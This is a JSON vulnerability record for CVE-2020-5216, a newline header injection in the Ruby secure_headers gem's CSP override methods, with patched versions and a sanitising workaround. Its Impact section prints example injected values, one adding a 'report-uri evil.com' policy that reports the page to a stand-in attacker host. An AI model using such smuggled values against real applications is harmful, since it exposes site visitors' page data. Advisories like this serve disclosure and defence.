{"id":"CVE-2020-5216","aliases":["GHSA-w978-rmpf-qmwg"],"url":"https://o3.security/vulnerability/CVE-2020-5216","summary":"Limited header injection when using dynamic overrides with user input in RubyGems secure_headers","details":"### Impact\n\nIf user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.\n\nUpon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.\n\ne.g.\n\n```ruby\noverride_content_security_directives(script_src: ['mycdn.com', \"\\ninjected\\n\"])` \n```\n\nwould result in \n\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: injected\nContent-Security-Policy: rest-of-the-header\n```\n\nCSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:\n\n```ruby\noverride_content_security_directives(script_src: [\"mycdn.com\", \"\\ndefault-src 'none'; report-uri evil.com\"]) \n```\n```\nContent-Security-Policy: ... script-src: mycdn.com\nContent-Security-Policy: default-src 'none'; report-uri evil.com\nContent-Security-Policy: rest-of-the-header\n```\n\n### Patches\n\nThis has been fixed in 6.3.0, 5.2.0, and 3.9.0\n\n### Workarounds\n\n```ruby\noverride_content_security_policy_directives(:frame_src, [user_input.gsub(\"\\n\", \" \")])\n```\n\n### References\n\nhttps://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c\n[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)\n* DM us at @ndm on twitter","published":"2020-01-23T03:15:10.683Z","modified":"2026-10-20T10:54:22.386177140Z","cvss":{"score":5.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N"},"epss":{"score":0.01079,"percentile":0.63437,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"RubyGems","name":"secure_headers","fixedVersion":"6.3.0"},{"ecosystem":"RubyGems","name":"secure_headers","fixedVersion":"5.2.0"},{"ecosystem":"RubyGems","name":"secure_headers","fixedVersion":"3.9.0"}],"fix":{"url":"https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0","label":"twitter/secure_headers@3016957"},"references":[{"type":"FIX","url":"https://github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0"},{"type":"EVIDENCE","url":"https://github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-5216"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml"},{"type":"PACKAGE","url":"https://github.com/twitter/secure_headers"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-20T10:54:22.386177140Z"}}